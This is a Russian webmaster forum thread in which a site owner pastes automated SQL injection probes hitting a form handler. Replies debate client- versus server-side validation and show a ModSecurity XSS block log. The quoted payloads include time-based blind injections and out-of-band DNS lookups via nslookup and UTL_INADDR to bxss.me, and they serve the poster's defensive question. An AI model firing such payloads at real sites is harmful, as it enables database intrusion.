Проверка введенного в поля до их отправки на обработчик - это стандартное и правильное поведение формы - Безопасность

Атака на сайт с передачей через форму разного рода непонятных параметров? Чем это сулит?

Varenik · 2019-10-11T12:05:37.0000000Z

Приветствую, уважаемые гуру... Сегодня на сайт началась атака и уже порядка 7 часов не прекращается... Посредством обработчика одной из форм идут попытки записать в БД какую-то гадость посредством передачи POST запросом в значениях формы. Периодически меняется идентификатор формы, в который подставляются данные. Ниже скину по очереди несколько значений которые подряд идут при каждой новой попытке. Подскажите, какая может быть цель у этих иродов исходя из кода, который пытаются передать через форму. if(now()=sysdate(),sleep(420),0)/*\'XOR(if(now()=sysdate(),sleep(420),0))OR\'"XOR(if(now()=sysdate(),sleep(420),0))OR"*/ (select(0)from(select(sleep(420)))v)/*\'+(select(0)from(select(sleep(420)))v)+\'"+(select(0)from(select(sleep(420)))v)+"*/ -1; waitfor delay \'0:0:420\' -- -1); waitfor delay \'0:0:420\' -- 1 waitfor delay \'0:0:420\' -- aUgtJ1Jh\'; waitfor delay \'0:0:140\' -- -1;select pg_sleep(140); -- -1);select pg_sleep(140); -- -1));select pg_sleep(140); -- NiwVY2Ly\';select pg_sleep(140); -- UCWUfdRh\');select pg_sleep(140); -- Zpn3BjsT\'));select pg_sleep(280); -- 1||UTL_INADDR.get_host_address(\'dns.\'||\'sqli.013405.986-17533.986.f76fb.1.bxss\'||\'.me\') \'||UTL_INADDR.get_host_address(\'dns.\'||\'sqli.013405.986-17534.986.f76fb.1.bxss\'||\'.me\')||\' 1;copy (select \'\') to program \'nslookup dns.sqli.\\013405.986-17535.986.f76fb.\\1.bxss.me\' 1\';copy (select \'\') to program \'nslookup dns.sqli.\\013405.986-17536.986.f76fb.\\1.bxss.me 836\' 1 1 -1 OR 2+306-306-1=0+0+0+1 -- -1 OR 2+46-46-1=0+0+0+1 -1\' OR 2+946-946-1=0+0+0+1 -- -1\' OR 2+246-246-1=0+0+0+1 or \'jM2wJpwt\'=\' -1" OR 2+826-826-1=0+0+0+1 -- И того - 24 запроса в которых код по очереди как выше (каждая строка - код с последующей заявки) и далее по новой... Что это за зверь не подскажите?

1609

SeVlad

13 октября 2019, 09:25

#11

Sitealert:
Глупости писать не надо.

Неожиданно... А где ты увидел глупости-то?

Проверка введённого в поля до их отправки на обработчик - очень даже стандартное и правильное поведение формы.

Тот, к сож, редкий в последнее время случай, когда Nadejda, действительно дело говорит.

Делаю хорошие сайты хорошим людям. Предпочтение коммерческим направлениям. Связь со мной через http://wp.me/P3YHjQ-3.

Необычная история с хостингом [PHP] Проблема с отсылкой Помогите понять, почему на

1215

Mik Foxi

13 октября 2019, 10:00

#12

SeVlad, проверка данных на форме на js - это чтоб человекоюзера не бесить, если чтото заполнил не так, чтоб сразу исправил. Тем кто ищет уязвимости - тому js на форме и сама форма пофигу, он и сам форму создаст какую надо у себя. В этом не редкая ошибка нубов-кодеров, навешают бутстрапов и прочих js проверок, думая что это защита...

1

Антибот, антиспам, веб фаервол, защита от накрутки поведенческих: https://antibot.cloud/ (Зеркало: https://антибот.рф/ ) Форум на замену серчу: https://foxi.biz/

Что делать с заказами? Что это за заказы???? Как сделать обязательным заполнение

1609

SeVlad

13 октября 2019, 10:09

#13

foxi:
Тем кто ищет уязвимости - тому js на форме и сама форма пофигу, он и сам форму создаст какую надо у себя.

А.. ну тут не могу не согласиться, но это тоже легко отсекается.

Кроме того, кроме непосредственно проверки на фронте - на обработчик отправляются исправленные данные (начиная от экранирования и заканчивая фильтрацией стоп-слов)

И ещё. Серьёзные спаммеры/взломщики далеко не всегда работают без реальной загрузки форм (ибо таких, я повторю, легко отстрелить ещё на подлёте) эмулируют юзера, то они загружают форму (с пом зеннопостера напр). И тут проверка (и тем более отправка исправленных) полей никогда лишним не будет.

Господа хостеры! Последнее предупреждение! Размножение статей - делаю Насколько сложно поддерживать сайт

614

Vladimir

13 октября 2019, 10:24

#14

SeVlad:
И тут проверка (и тем более отправка исправленных) полей никогда лишним не будет.

И добавить лишнее поле....для бото-заполнения

Так, до них не доходит, что после приема POST запроса, данные тоже должны проверятся

Аэройога ( https://vk.com/aeroyogadom ) Йога в гамаках ( https://vk.com/aero_yoga ) Аэройога обучение ( https://aeroyoga.ru ) и просто фото ( https://weandworld.com )

1609

SeVlad

13 октября 2019, 10:38

#15

Nadejda:
И добавить лишнее поле....для бото-заполнения

Ну это многие боты могут и понимать. А вот напр с использованием nonce всё намного надёжнее ;)

339

suffix

13 октября 2019, 11:02

#16


[:error] [pid 25481] [client 139.99.5.223 ] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)([<\\xef\\xbc\\x9c]script[^>\\xef\\xbc\\x9e]*[>\\xef\\xbc\\x9e][\\\\s\\\\S]*?)" at ARGS:PROPERTY[DETAIL_TEXT][0]. [file "/etc/httpd/cwaf/08_XSS_XSS.conf"] [line "14"] [id "212000"] [rev "3"] [msg "COMODO WAF: XSS Filter - Category 1: Script Tag Vector|F|2"] [data "Matched Data:"набор вражеской белиберды"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"]

Чем такой-то вариант не устраивает ? Я уже писал на прошлой странице про ModSecurity.

У автора темы именно такой случай - пытаются в форму запихнуть гадость всякую.

А затем ещё и получаем в fail2ban если упорствует товарищ:


NOTICE  [modesecurity] Increase Ban 139.99.5.223 (8 # 21:20:00 -> 2019-10-14 09:41:43)

Клуб любителей хрюш (https://www.babai.ru)

[Удален]

13 октября 2019, 13:15

#17

А сайт какой тематики, если не секрет? И почему вы стали обьектом атак?

S

469

Sitealert

13 октября 2019, 14:51

#18

SeVlad:
Неожиданно... А где ты увидел глупости-то?
Проверка введённого в поля до их отправки на обработчик - очень даже стандартное и правильное поведение формы.

Глупости я увидел в том, что к теме это не имеет никакого отношения. Тема – про взлом через обработчик формы, и клали взломщики большой и толстый предмет на все проверки на стороне клиента. Данные отсылаются сразу на обработчик, где их и видит ТС. И все слова, которые понаписаны Надеждой, - это всего лишь его личные фантазии.

SeVlad:
к сож, редкий в последнее время случай, когда Nadejda, действительно дело говорит.

Тебе показалось. Он и в этот раз просто зашёл какашками покидаться.

Отпилю лишнее, прикручу нужное, выправлю кривое. Вытравлю вредителей.

Вопрос по кукам Важно! Владельцам сайтов на Проблема с php

614

Vladimir

13 октября 2019, 15:16

#19

Sitealert:
Данные отсылаются сразу на обработчик, где их и видит ТС. И все слова, которые понаписаны Надеждой, - это всего лишь его личные фантазии. .

Ну, отослали данные на обработчик, у тебя, что ума не хватает принять эти данные и проверить перед обработчиком?

S

469

Sitealert

13 октября 2019, 15:24

#20

Nadejda:
у тебя, что ума не хватает

Это у тебя ума не хватает понять проблему.

К чему вообще твоё появление в этом топике? Показать свою продвинутость? Не получилось. Помочь ТСу? Так здесь ты вообще разговор в сторону уводишь? Зачем вся эта болтовня?!

Капчи какие-то, поля, проверки до обработчика... Мрак какой-то...

Клиент требует отчёт. на сколько дольше работает Закупка ссылок влияет на

Что делать, если ваша email-рассылка попала в спам

В 2023 году Google заблокировал более 170 млн фальшивых отзывов на Картах

Атака на сайт с передачей через форму разного рода непонятных параметров? Чем это сулит?